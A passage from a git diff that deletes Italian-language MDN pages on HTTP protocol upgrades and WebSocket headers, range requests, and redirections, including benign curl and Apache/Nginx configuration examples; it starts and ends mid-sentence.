insistere su una modifica del protocollo. Le implementazioni possono scegliere di non sfruttare un aggiornamento anche se supportano il nuovo protocollo e, in pratica, questo meccanismo viene utilizzato principalmente per avviare una connessione WebSocket.</p> - -<p>Notare anche che HTTP / 2 non consente esplicitamente l'uso di questo meccanismo; è specifico per HTTP / 1.1.</p> - -<h2 id="Aggiornamento_delle_connessioni_HTTP1.1">Aggiornamento delle connessioni HTTP/1.1</h2> - -<p>Il campo d'intestazione(Header) {{HTTPHeader("Upgrade")}} viene utilizzato dai client per invitare il server a passare a uno dei protocolli elencati, in ordine decrescente.</p> - -<p><code><span style="background-color: #ffffff;">Poiché </span>Upgrade</code> è un'intestazione(Header) hop-by-hop, deve essere elencata anche nel campo d'intestazione(Header) {{HTTPHeader("Connection")}} . Ciò significa che una richiesta che include Upgrade sarebbe simile a:</p> - -<pre class="syntaxbox notranslate">GET /index.html HTTP/1.1 -Host: www.example.com -Connection: upgrade -</pre> - -<p>Potrebbero essere necessarie altre intestazioni(Header) a seconda del protocollo richiesto; for example, ad esempio, gli aggiornamenti di <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/WebSocket">WebSocket</a> consentono intestazioni (headers) aggiuntive per configurare i dettagli sulla connessione WebSocket e per offrire un certo grado di sicurezza nell'apertura della connessione. Vedi {{anch("Upgrading to a WebSocket connection")}} per maggiori dettagli.</p> - -<p>Se il server decide di aggiornare la connessione, restituisce lo stato di risposta {{HTTPStatus(101, "101 Switching Protocols")}} con un'intestazione d'aggiornamento (Upgrade header) che specifica il protocollo/i a cui passare. Se non aggiorna o non può farlo ignora l'<code>Upgrade</code> header e rimanda regolarmente una risposta (ad esempio, un {{HTTPStatus(200, "200 OK")}}).</p> - -<p>Subito dopo aver inviato lo status code <code>101</code>, il server può iniziare ad utilizzare il nuovo protocollo, eseguendo ogni eventuale protocol-specific handshakes se necessario. In effetti, la connessione diventa una two-way pipe non appena la risposta aggiornata è completa, e le richieste che ha dato inizio all'aggiornamento può essere completata tramite il nuovo protocollo.</p> - -<h2 id="Usi_comuni_per_questo_meccanismo">Usi comuni per questo meccanismo</h2> - -<p>Qui esaminiamo i casi d'uso più comuni per l' {{HTTPHeader("Upgrade")}} del header.</p> - -<h3 id="Aggiornamento_a_una_connessione_WebSocket">Aggiornamento a una connessione WebSocket</h3> - -<p>Di gran lunga, il caso d'uso più comune per l'aggiornamento di una connessione HTTP è l'utilizzo di WebSocket, che vengono sempre implementati aggiornando una connessione HTTP o HTTPS. Tieni presente che se stai aprendo una nuova connessione utilizzando il <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/WebSocket">WebSocket API</a>, o qualsiasi libreria che esegue il WebSocket, la maggior parte se non tutto questo viene fatto per te. Ad esempio, l'apertura di una connessione WebSocket è semplice come:</p> - -<pre class="brush: js notranslate">webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol");</pre> - -<p>Il costruttore {{domxref("WebSocket.WebSocket", "WebSocket()")}} fa tutto il lavoro di creazione di una connessione iniziale HTTP / 1.1 e dopo gestisce l'handshaking e il processo di aggiornamento per te.</p> - -<div class="note"> -<p>Puoi anche utilizzare lo schema URL <code>"wss://"</code> per aprire una connessione sicura WebSocket.</p> -</div> - -<p>Se devi creare una connessione WebSocket da zero, dovrai gestire tu il processo di handshaking. Dopo aver creato la sessione iniziale HTTP / 1.1, è necessario richiedere l'aggiornamento aggiungendo a una richiesta standard gli {{HTTPHeader("Upgrade")}} e {{HTTPHeader("Connection")}} headers, come segue:</p> - -<pre class="notranslate">Connection: Upgrade -Upgrade: websocket</pre> - -<h3 id="Specifiche_di_WebSocket_headers">Specifiche di WebSocket headers</h3> - -<p>Le seguenti intestazioni sono coinvolte nel processo di aggiornamento del WebSocket. Oltre al {{HTTPHeader("Upgrade")}} e {{HTTPHeader("Connection")}} headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other.</p> - -<h4 id="HTTPHeaderSec-WebSocket-Extensions">{{HTTPHeader("Sec-WebSocket-Extensions")}}</h4> - -<p>Specifies one or more protocol-level WebSocket extensions to ask the server to use. Using more than one <code>Sec-WebSocket-Extension</code> header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header.</p> - -<pre class="syntaxbox notranslate">Sec-WebSocket-Extensions: <var>extensions</var></pre> - -<dl> - <dt><code><var>extensions</var></code></dt> - <dd>A comma-separated list of extensions to request (or agree to support). These should be selected from the <a href="https://www.iana.org/assignments/websocket/websocket.xml#extension-name">IANA WebSocket Extension Name Registry</a>. Extensions which take parameters do so by using semicolon delineation.</dd> -</dl> - -<p>For example:</p> - -<pre class="notranslate">Sec-WebSocket-Extensions: superspeed, colormode; depth=16</pre> - -<h4 id="HTTPHeaderSec-WebSocket-Key">{{HTTPHeader("Sec-WebSocket-Key")}}</h4> - -<p>Fornisce al server le informazioni necessarie per confermare che il cliente ha il diritto di richiedere un aggiornamento a WebSocket. Questa intestazione (header) può essere utilizzata quando i clienti meno sicuri (HTTP) desiderano effettuare l'upgrade, al fine di offrire un certo grado di protezione contro gli attacchi. Il valore della chiave è calcolato utilizzando un algoritmo definito nelle specifiche del WebSocket, di conseguenza ciò non garantisce sicurezza. Invece, aiuta a prevenire che i client non WebSocket non richiedano inavvertitamente, o attraverso un uso improprio, una connessione WebSocket. In sostanza, quindi, questa chiave conferma semplicemente che "Sì, intendo davvero aprire una connessione WebSocket".</p> - -<p>Questa intestazione(header) viene aggiunta automaticamente dai client che scelgono di usarla; non può essere aggiunta usando il metodo {{domxref("XMLHttpRequest.setRequestHeader()")}}.</p> - -<pre class="syntaxbox notranslate">Sec-WebSocket-Key: <var>key</var></pre> - -<dl> - <dt><code><var>key</var></code></dt> - <dd>The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade response to you.</dd> -</dl> - -<p>The server's response's {{HTTPHeader("Sec-WebSocket-Accept")}} header will have a value computed based upon the specified <code><var>key</var></code>.</p> - -<h4 id="HTTPHeaderSec-WebSocket-Protocol">{{HTTPHeader("Sec-WebSocket-Protocol")}}</h4> - -<p>The <code>Sec-WebSocket-Protocol</code> header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a <code>Sec-WebSocket-Protocol</code> header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header.</p> - -<pre class="syntaxbox notranslate">Sec-WebSocket-Protocol: <var>subprotocols</var></pre> - -<dl> - <dt><code><var>subprotocols</var></code></dt> - <dd>A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the <a href="https://www.iana.org/assignments/websocket/websocket.xml#subprotocol-name">IANA WebSocket Subprotocol Name Registry</a> or may be a custom name jointly understood by the client and the server.</dd> -</dl> - -<h4 id="HTTPHeaderSec-WebSocket-Version">{{HTTPHeader("Sec-WebSocket-Version")}}</h4> - -<h5 id="Request_header">Request header</h5> - -<p>Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end.</p> - -<pre class="syntaxbox notranslate">Sec-WebSocket-Version: <var>version</var></pre> - -<dl> - <dt><code><var>version</var></code></dt> - <dd>The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the <a href="https://www.iana.org/assignments/websocket/websocket.xml#version-number">IANA WebSocket Version Number Registry</a>. The most recent final version of the WebSocket protocol is version 13.</dd> -</dl> - -<h5 id="Response_header">Response header</h5> - -<p>If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a <code>Sec-WebSocket-Version</code> header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no <code>Sec-WebSocket-Version</code> header is included in the response.</p> - -<pre class="syntaxbox notranslate">Sec-WebSocket-Version: <var>supportedVersions</var></pre> - -<dl> - <dt><code><var>supportedVersions</var></code></dt> - <dd>A comma-delineated list of the WebSocket protocol versions supported by the server.</dd> -</dl> - -<h3 id="Response-only_headers">Response-only headers</h3> - -<p>The response from the server may include these.</p> - -<h4 id="HTTPHeaderSec-WebSocket-Accept">{{HTTPHeader("Sec-WebSocket-Accept")}}</h4> - -<p>Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the response headers.</p> - -<pre class="syntaxbox notranslate">Sec-WebSocket-Accept: <var>hash</var></pre> - -<dl> - <dt><code><var>hash</var></code></dt> - <dd>If a {{HTTPHeader("Sec-WebSocket-Key")}} header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the {{interwiki("wikipedia", "SHA-1")}} hash of that concatenated string, resulting in a 20-byte value. That value is then <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> encoded to obtain the value of this property.</dd> -</dl> - -<h2 id="References">References</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/WebSocket">WebSocket API</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> - <li>Specifications and RFCs: - <ul> - <li>{{RFC(7230)}}</li> - <li>{{RFC(6455)}}</li> - <li>{{RFC(7540)}}</li> - </ul> - </li> -</ul> diff --git a/files/it/web/http/range_requests/index.html b/files/it/web/http/range_requests/index.html deleted file mode 100644 index 06f965f218..0000000000 --- a/files/it/web/http/range_requests/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Richieste HTTP range -slug: Web/HTTP/Range_requests -translation_of: Web/HTTP/Range_requests -original_slug: Web/HTTP/Richieste_range ---- -<div>{{HTTPSidebar}}</div> - -<p class="summary">Le richieste HTTP range permettono di mandare una sola porzione di un messaggio HTTP da un server a un client invece del messaggio intero. Le richieste parziali sono utili per file di grandi dimensioni o per mettere un download in pausa e riprenderlo successivamente.</p> - -<h2 id="Controllare_se_un_server_supporta_richieste_parziali">Controllare se un server supporta richieste parziali</h2> - -<p>Se l'header {{HTTPHeader("Accept-Ranges")}} è presente nelle risposte HTTP (e il suo valore non è "<code>none</code>"), il server supporta richieste HTTP range. E' possibile controllarlo creando una richiesta {{HTTPMethod("HEAD")}} con cURL, ad esempio.</p> - -<pre>curl -I http://i.imgur.com/z4d4kWk.jpg - -HTTP/1.1 200 OK -... -Accept-Ranges: bytes -Content-Length: 146515 -</pre> - -<p>In questa risposta, <code>Accept-Ranges: bytes</code> indica che i bytes possono essere usati come unità base per definire un range (intervallo). Qui anche l'header {{HTTPHeader("Content-Length")}} è utile perché indica la dimensione dell'intero file contenente l'immagine.</p> - -<p>Se il sito omette l'header <code>Accept-Ranges</code>, probabilmente non supporta richieste parziali. Alcuni siti mandano esplicitamente "<code>none</code>" come valore, indicando che non supportano la funzionalità. In questo caso, i download managers di alcune app disabiliteranno i loro pulsanti di pausa.</p> - -<pre>curl -I https://www.youtube.com/watch?v=EwTZ2xpQwpA - -HTTP/1.1 200 OK -... -Accept-Ranges: none -</pre> - -<h2 id="Richiedere_un_range_specifico">Richiedere un range specifico</h2> - -<p>Se il server supporta richieste range, è possibile effettuare questa richiesta tramite l'header {{HTTPHeader("Range")}}, che indica la parte o le parti di un documento con le quali il server dovrà rispondere.</p> - -<h3 id="Range_formato_da_una_singola_parte">Range formato da una singola parte</h3> - -<p>Possiamo richiedere un singolo range da una risorsa. Possiamo fare una richiesta di prova tramite cURL. L'opzione "<code>-H</code>" appenderà una riga all'header alla richiesta, in questo caso l'header <code>Range</code> che richiede i primi 1024 bytes.</p> - -<pre>curl http://i.imgur.com/z4d4kWk.jpg -i -H "Range: bytes=0-1023"</pre> - -<p>La richiesta effettuata è la seguente:</p> - -<pre>GET /z4d4kWk.jpg HTTP/1.1 -Host: i.imgur.com -Range: bytes=0-1023</pre> - -<p>Il server risponde con lo stato {{HTTPStatus("206")}} <code>Partial Content</code>:</p> - -<pre>HTTP/1.1 206 Partial Content -Content-Range: bytes 0-1023/146515 -Content-Length: 1024 -... -(binary content) -</pre> - -<p>L'header {{HTTPHeader("Content-Length")}} ora indica la dimensione dell'intervallo richiesto (non la dimensione totale dell'immagine). L'header {{HTTPHeader("Content-Range")}} nella risposta indica la posizione del messaggio parziale all'interno del file.</p> - -<h3 id="Range_formato_da_più_parti">Range formato da più parti</h3> - -<p>L'header {{HTTPHeader("Range")}} permette anche di ottenere più di un intervallo alla volta. Gli intervalli sono separati da una virgola.</p> - -<pre>curl http://www.example.com -i -H "Range: bytes=0-50, 100-150"</pre> - -<p>Il server risponde con lo stato {{HTTPStatus("206")}} <code>Partial Content</code> e l'header {{HTTPHeader("Content-Type")}}<code>: multipart/byteranges; boundary=3d6b6a416f9b5</code>, indicando che un range multiparte segue. Ogni parte contiene il proprio campo <code>Content-Type</code> and <code>Content-Range</code>.</p> - -<pre>HTTP/1.1 206 Partial Content -Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5 -Content-Length: 282 - ---3d6b6a416f9b5 -Content-Type: text/html -Content-Range: bytes 0-50/1270 - -<!doctype html> -<html> -<head> - <title>Example Do ---3d6b6a416f9b5 -Content-Type: text/html -Content-Range: bytes 100-150/1270 - -eta http-equiv="Content-type" content="text/html; c ---3d6b6a416f9b5--</pre> - -<h3 id="Richieste_di_range_condizionali">Richieste di range condizionali</h3> - -<p>Quando la richiesta è in pausa e viene successivamente ripresa, è necessario garantire che la risorsa remota non sia stata modificata da quando l'ultimo frammento è stato ricevuto.</p> - -<p>L'header della richiesta HTTP {{HTTPHeader("If-Range")}} rende una richiesta range condizionale: se la condizione è verificata, la richiesta verrà effettuata e il server restituirà lo stato {{HTTPStatus("206")}} <code>Partial Content</code> con il corpo appropriato. Se la condizione non è verificata, il server restituirà l'intera risorsa con status {{HTTPStatus("200")}} <code>OK</code>. Questo header può essere usato in combinazione con un validatore {{HTTPHeader("Last-Modified")}} oppure un {{HTTPHeader("ETag")}}, ma non entrambi.</p> - -<pre>If-Range: Wed, 21 Oct 2015 07:28:00 GMT </pre> - -<h2 id="Risposte_alle_richieste_parziali">Risposte alle richieste parziali</h2> - -<p>Quando si lavora con richieste range, esistono tre stati rilevanti:</p> - -<ul> - <li>In caso di richiesta riuscita, il server restituisce lo stato {{HTTPStatus("206")}} <code>Partial Content</code>.</li> - <li>In caso di una richiesta out of bounds (i valori di range si sovrappongono), il server risponde con lo stato {{HTTPStatus("416")}} <code>Requested Range Not Satisfiable</code>.</li> - <li>Se la richiesta range non è supportata verrà restituito lo stato {{HTTPStatus("200")}} <code>OK</code>.</li> -</ul> - -<h2 id="Confronto_con_Transfer-Encoding_frammentato">Confronto con <code>Transfer-Encoding</code> frammentato</h2> - -<p>L'header {{HTTPHeader("Transfer-Encoding")}} permette la codifica a frammenti, che è utile quando grandi quantità di dati sono mandati al client e la dimensione totale della risposta non è conosciuta fino a quando la richiesta è stata processata. Il server manda dati al client immediatamente senza fare buffering della risposta o determinare la lunghezza esatta, migliorando la latenza. Richieste range e chunking sono compatibili e possono essere usate contemporaneamente.</p> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li>Codici di stato: {{HTTPStatus("200")}}, {{HTTPStatus("206")}}, {{HTTPStatus("416")}}.</li> - <li>Headers: {{HTTPHeader("Accept-Ranges")}}, {{HTTPHeader("Range")}}, {{HTTPHeader("Content-Range")}}, {{HTTPHeader("If-Range")}}, {{HTTPHeader("Transfer-Encoding")}}.</li> - <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/06/03/download-resumption-in-internet-explorer/">Riprendere i download in Internet Explorer</a></li> -</ul> diff --git a/files/it/web/http/redirections/index.html b/files/it/web/http/redirections/index.html deleted file mode 100644 index 1952b2e6e9..0000000000 --- a/files/it/web/http/redirections/index.html +++ /dev/null @@ -1,318 +0,0 @@ ---- -title: Reindirizzamenti in HTTP -slug: Web/HTTP/Redirections -translation_of: Web/HTTP/Redirections ---- -<div>{{HTTPSidebar}}</div> - -<div>L'<em>URL redirection,</em> anche conosciuto come <em>URL forwarding,</em> è una tecnica che serve a dare più di un indirzzo URL ad una pagina, un form, oppure un intero sito o applicazione. L'HTTP ha uno speciale tipo di risposta, chiamata <em><strong>HTTP redirect</strong></em>, per questa operazione.</div> - -<div></div> - -<div>I redirect portano a termine molti scopi:</div> - -<ul> - <li>Reindirizzamenti temporanei quando un sito è spento o in manutenzione</li> - <li>Reindirizzamenti permanenti per preservare link o bookmark esistenti dopo il cambio dell'URL del sito, pagine di elaborazione mentre viene caricato un file, ecc.</li> -</ul> - -<h2 id="Principio">Principio</h2> - -<p>In HTTP, il reindirizzamento è causato da un server che manda una speciale risposta <em>redirect</em> ad una richiesta. Le riposte di reindirizzamento hanno dei <a href="/en-US/docs/Web/HTTP/Status">codici di stato</a> che iniziano con un <code>3</code>, e un {{ httpheader("Location") }} header contenente l'URL a cui deve essere reindirizzato.</p> - -<p>Quando i browser ricevono un reindirizzamento, caricano immediatamente il nuovo URL assegnatogli nel <code>Location</code> header. Inoltre visto che l'impatto di questa operazione è così basso, gli utenti non notano quasi mai il reindirizzamento.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13785/HTTPRedirect.png"></p> - -<p>Ci sono molti tipi di reindirizzamenti, raggruppati in tre categorie:</p> - -<ol> - <li><a href="#Reindirizzamenti_permanenti">Reindirizzamenti permanenti</a></li> - <li><a href="#Reindirizzamenti_temporanei">Reindirizzamenti temporanei</a></li> - <li><a href="#Reindirizzamenti_speciali">Reindirizzamenti speciali</a></li> -</ol> - -<h3 id="Reindirizzamenti_permanenti">Reindirizzamenti permanenti</h3> - -<p>Questi reindirizzamenti sono stati creati per rimanenere per sempre. Implicano che l'URL originale non dovrebbe più essere usato, e dovrebbe essere rimpiazzato da uno nuovo. I motori di ricerca, i lettori RSS e altri crawler aggiorneranno l'URL originale per la risorsa.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="row">Codice</th> - <th scope="col">Testo</th> - <th scope="col">Gestione del metodo</th> - <th scope="col">Caso d'uso tipico</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row"><code>301</code></th> - <td> - <p><code>Moved Permanently</code></p> - - <p><code>(Spostato Permanentemente)</code></p> - </td> - <td>{{HTTPMethod("GET")}} metodi non cambiati.<br> - Altri potrebbero o meno essere cambiati in {{HTTPMethod("GET")}}.<sup><a href="#attr1">[1]</a></sup></td> - <td>Riorganizzazione di un sito web.</td> - </tr> - <tr> - <th scope="row"><code>308</code></th> - <td> - <p><code>Permanent Redirect</code></p> - - <p><code>(Reindirizzamento Permanente)</code></p> - </td> - <td>I metodi e il body non sono cambiati.</td> - <td>Riorganizzazione di un sito web, con dei link o operazioni che non usufruiscono del GET.</td> - </tr> - </tbody> -</table> - -<p id="attr1">[1] La specificazione non intendeva permettere il cambiamenti nei metodi, ma ci sono degli user agents esistenti che cambiano i loro metodi. {{HTTPStatus("308")}} è stato creato per rimuovere l'ambiguità del comportamento quando vengono usati metodi che non usufruiscono del <code>GET</code>.</p> - -<h3 id="Reindirizzamenti_temporanei">Reindirizzamenti temporanei</h3> - -<p>Qualche volta la risorsa richiesta non può essere raggiunta dal suo luogo originale, ma può essere raggiunta da un'altro luogo. In questo caso, un reindirizzamento temporaneo può essere usato.</p> - -<p>I motori di ricerca e altri crawler non memorizzano il nuovo URL temporaneo. Reindirizzamenti temporanei vengono anche usati quando vengono create, aggiornate, o eliminate delle risorse, per mostrare pagine di avanzamento temporanee.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="row">Codice</th> - <th scope="col">Testo</th> - <th scope="col">Gestione del metodo</th> - <th scope="col">Casi d'uso tipici</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row"><code>302</code></th> - <td> - <p><code>Found</code></p> - - <p><code>(Trovato)</code></p> - </td> - <td>{{HTTPMethod("GET")}} metodi non cambiati.<br> - Altri potrebbero o meno essere cambiati in {{HTTPMethod("GET")}}.<sup><a href="#attr2">[2]</a></sup></td> - <td>La pagina web non è disponibile temporaneamente per ragioni non previste.</td> - </tr> - <tr> - <th scope="row"><code>303</code></th> - <td> - <p><code>See Other</code></p> - - <p><code>(Vedi altro)</code></p> - </td> - <td>{{HTTPMethod("GET")}} metodi non cambiati.<br> - Altri <em>cambiati</em> a <code>GET</code> (body perso).</td> - <td>Usato per reindirizzare dopo un {{HTTPMethod("PUT")}} o un {{HTTPMethod("POST")}}, In modo che l'aggiornamento della pagina non causi nuovamente l'operazione.</td> - </tr> - <tr> - <th scope="row"><code>307</code></th> - <td> - <p><code>Temporary Redirect</code></p> - - <p><code>(Reindirizzamento Temporaneo)</code></p> - </td> - <td>Metodi e body non sono cambiati.</td> - <td>La pagina web non è disponibile temporaneamente per ragioni non previste. Meglio del <code>302</code> quando operazioni che non usufruiscono del <code>GET</code> sono disponibili nel sito.</td> - </tr> - </tbody> -</table> - -<p id="attr2">[2] La specificazione non intendeva permettere il cambiamenti nei metodi, ma ci sono degli user agents esistenti che cambiano i loro metodi. {{HTTPStatus("307")}} è stato creato per rimuovere l'ambiguità del comportamento quando vengono usati metodi che non usufruiscono del <code>GET</code>.</p> - -<h3 id="Reindirizzamenti_speciali">Reindirizzamenti speciali</h3> - -<p>{{HTTPStatus("304")}} (Non modificato) reindirizza ad unapagina nella copia savata localmente nella cache (che non era vecchia), e {{HTTPStatus("300")}} (Multiple Choice) è un reindirizzamento manuale: il body, presentato dal browser come una pagina web, lista i possibili reindirizzamenti e l'utente clicca su uno di essi per selezionarlo.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="row">Codice</th> - <th scope="col">Testo</th> - <th scope="col">Casi d'uso tipici</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row"><code>300</code></th> - <td> - <p><code>Mutliple Choice</code></p> - - <p><code>(Scelta Multipla)</code></p> - </td> - <td>Non molte: le scelte sono listate in una pagina HTML nel body. Scelte leggibili dalle macchine sono incentivate ad essere spedite come {{HTTPHeader("Link")}} headers con <code>rel=alternate</code>.</td> - </tr> - <tr> - <th scope="row"><code>304</code></th> - <td> - <p><code>Not Modified</code></p> - - <p><code>(Non Modificata)</code></p> - </td> - <td>Inviata per rivalidate richieste condizionali. Indica che la risposta nella cache può essere ancora usata.</td> - </tr> - </tbody> -</table> - -<h2 id="Modi_alternativi_per_specificare_un_reindirizzamento">Modi alternativi per specificare un reindirizzamento</h2> - -<p>I reindirizzamenti HTTP non sono l'unico modo per definire dei reindirizzamenti. Ce ne sono infatti altri due:</p> - -<ol> - <li>Reindirizzamenti HTML con l'elemento {{HTMLElement("meta")}}</li> - <li>Reindirizzamenti di JavaScript tramite il <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a></li> -</ol> - -<h3 id="Reindirizzamenti_HTML">Reindirizzamenti HTML</h3> - -<p>I reindirizzamenti HTML sono il modo migliore per creare reindirizzamenti, ma qualche volta non si ha il controllo sul server. In quel caso, prova a usare l'elemento {{HTMLElement("meta")}} con il suo attributo {{htmlattrxref("http-equiv", "meta")}} impostato a <code>Refresh</code> nel {{HTMLElement("head")}} della pagina. Quando viene mostrato sulla pagina, il browser andrà all'URL indicato.</p> - -<pre class="brush: html notranslate"><head> - <meta http-equiv="Refresh" content="0; URL=https://example.com/"> -</head> -</pre> - -<p>L'attributo {{htmlattrxref("content")}} dovrebbe iniziare con un numero indicando quanti secondi il browser dovrebbe aspettare prima di reindirizzare all'URL impostato. Impostarlo sempre a <code>0</code> per motivi di accessibilità.</p> - -<p>Ovviamente questo metodo non funziona solo in HTML, e non può essere usato per immagini o altri tipi di contenuti.</p> - -<h3 id="Reindirizzamenti_con_JavaScript">Reindirizzamenti con JavaScript</h3> - -<p>Reindirizzamenti con JavaScript sono compiuti impostando una stringa dell'URL alla proprietà {{domxref("window.location")}}, caricando la nuova pagina:</p> - -<pre class="brush: js notranslate">window.location = "https://example.com/";</pre> - -<p>Come i reindirizzamenti HTML, questo non funziona con tutte le risorse, e ovviamente, questo funzionerà solo con client che eseguono JavaScript. D'altro canto, ci sono più possibiltà: per esempio, si può causare il reindirizzamento solo se alcune condizioni sono rispettate.</p> - -<h3 id="Ordine_di_precedenza">Ordine di precedenza</h3> - -<p>Con tre modi per far causare i rendirizzamenti, molti modi possono essere usati allo stesso tempo. Ma quale è applicato per primo?</p> - -<ol> - <li>I reindirizzamenti HTTP sono sempre eseguiti per primi — esisitono quando non c'è nemmeno una pagina trasmessa.</li> - <li>I reindirizzamenti HTML ({{HTMLElement("meta")}}) vengono eseguiti se non c'era nessun reindirizzamento HTTP.</li> - <li>I reindirizzamenti con JavaScript sono eseguiti per ultimi, e solo se JavaScript è abilitato.</li> -</ol> - -<p>Quando possibile, usare reindirizzamenti HTTP e non aggiungere l'elemento di reindirizzamento {{HTMLElement("meta")}}. Se qualcuno cambia il reindirizzamento HTTP ma dimentica di cambiare il reindirizzamento HTML, il reindirizzamento non sarà più identico, il che potrebbe causare un loop infinito o altri incubi.</p> - -<h2 id="Casi_duso">Casi d'uso</h2> - -<p>Ci sono molti casi d'uso per quanto riguarda i reindirizzamenti, ma le prestazioni sono intaccate da ogni reindirizzamento, il loro uso dovrebbe essere tenuto al minimo.</p> - -<h3 id="Aliasing_dei_domini">Aliasing dei domini</h3> - -<p>Idealmente c'è un posto, e di conseguenza un URL, per ogni risorsa. Ma ci sono ragioni per nomi alternativi per una risorsa:</p> - -<dl> - <dt>Espandendo la portata del tuo sito</dt> - <dd>Un esempio comune è quando un sito risiede a <code>www.example.com</code>, ma accedendoci tramite <code>example.com</code> dovrebbe funzionare lo stesso. I reindirizzamenti da <code>example.com</code> a <code>www.example.com</code> sono preimpostati. Potresti anche reindirizzare da sinonimi comuni a frequenti refusi del tuo dominio.</dd> - <dt>Spostarsi ad un nuovo dominio</dt> - <dd>Per esempio, la tua compagnia è stata rinominata, ma vuoi che i link o i bookmark esistenti siano ancora in grado di trovarti sotto il tuo nuovo nome.</dd> - <dt>Forzando gli <a href="/en-US/docs/Glossary/https">HTTPS</a></dt> - <dd>Richieste alla versione <code>http://</code> del tuo sito, ti reindirizzeranno alla versione <code>https://</code> di esso.</dd> -</dl> - -<h3 id="Tenendo_link_in_vita">Tenendo link in vita</h3> - -<p>Quando i siti web vengono ristrutturati, gli URL cambiano. Anche se si aggiornano i link del sito facendoli combaciare con quelli dei nuovi URL, non si ha controllo sugli URL usati da risorse esterne.</p> - -<p>Non si vogliono rompere questi link, visto che portano utenti preziosi e aiutano il SEO, quindi si impostano i reindirizzamenti dai vecchi URL a quelli nuovi..</p> - -<div class="note"> -<p>Questa tenica funziona con i link interni alla pagina, ma si avvisa di non avere reindirizzamenti interni. Un reindirizzamento ha un costo sensibile a livello di prestazioni (visto che avviene una richiesta HTTP). Se si riesce a evitarlo correggiendo i link interni, sarebbe meglio correggere quei link.</p> -</div> - -<h3 id="Risposte_temporanee_a_richieste_non_sicure">Risposte temporanee a richieste non sicure</h3> - -<p>Le richeste {{Glossary("safe", "Unsafe")}} modificano lo stato del server e l'utente non dovrebbe reinviarle accidentalmente.</p> - -<p>Di solito, non si vuole che gli utenti rimandino le richieste {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} o {{HTTPMethod("DELETE")}}. Se si fornisce la risposta come il risultato di questa richiesta, una semplice pressione del pulsante di ricarica rimanderà la richiesta (possibilmente dopo un messaggio di conferma).</p> - -<p>In questo caso il server potrà rimandare indietro una riposta {{HTTPStatus("303")}} (Vedi altro) per un URL contenente le informazioni corrette. Se il pulsante di ricarca viene premuto, solo quella pagina verrà rimostrata, senza rimandare le richieste non sicure.</p> - -<h3 id="Risposte_temporanee_a_richieste_lunghe">Risposte temporanee a richieste lunghe</h3> - -<p>Alcune richieste potrebbero necessitare di più tempo sul server, per esempio le richieste {{HTTPHeader("DELETE")}} che sono programmate per essere processate in seguito. In questo caso, la risposta sarà un reindirizzamento {{HTTPStatus("303")}} (Vedi altro) che collegherà una pagina indicante che l'azione è stata programmata, ed eventualmente informerà del suo progresso, o permetterà di cancellarla.</p> - -<h2 id="Configurando_reindirizzamenti_in_server_comuni">Configurando reindirizzamenti in server comuni</h2> - -<h3 id="Apache">Apache</h3> - -<p>I reindirizzamenti possono essere impostati sia che nel file di config del server che nell'<code>.htaccess</code> di ogni cartella.</p> - -<p>Il modulo <code><a href="https://httpd.apache.org/docs/current/mod/mod_alias.html">mod_alias</a></code> ha direttive di <code>Redirect</code> e <code>RedirectMatch</code> che impostano i reindirizzamenti {{HTTPStatus("302")}} di default:</p> - -<pre class="notranslate"><VirtualHost *:443> - ServerName example.com - Redirect / https://www.example.com -</VirtualHost> -</pre> - -<p>L'URL <code>https://example.com/</code> verrà reindirizzato a <code>https://www.example.com/</code>, come ogni file o cartella all'interno di esso (<code>https://example.com/some-page</code> verrà reindirizzato a <code>https://www.example.com/some-page</code>)</p> - -<p><code>RedirectMatch</code> non fa lo stesso, ma prende un {{glossary("regular expression")}} per definire una collezione degli URL interessati:</p> - -<pre class="notranslate">RedirectMatch ^/images/(.*)$ https://images.example.com/$1</pre> - -<p>Tutti i documenti nella cartella <code>images/</code> verranno reindirizzati a un dominio differente.</p> - -<p>Se non si vuole un reindirizzamento temporaneo, un parametro extra (o il codice di stato HTTP da usare o la <code>permanent</code> keyword) possono essere usati per impostare un reindirizzamento differente:</p> - -<pre class="notranslate">Redirect permanent / https://www.example.com -# …acts the same as: -Redirect 301 / https://www.example.com -</pre> - -<p>Anche il modulo <code><a href="http://httpd.apache.org/docs/current/mod/mod_rewrite.html">mod_rewrite</a></code> può creare reindirizzamenti. E' più flessibile, ma al contempo un po' più complesso.</p> - -<h3 id="Nginx">Nginx</h3> - -<p>In Nginx, viene creato uno specifico blocco del server per il contenuto che si vuole reindirizzare:</p> - -<pre class="notranslate">server { - listen 80; - server_name example.com; - return 301 $scheme://www.example.com$request_uri; -}</pre> - -<p>Per applicare un reindirizzamento ad una cartella o solo ad alcune pagine, usare la 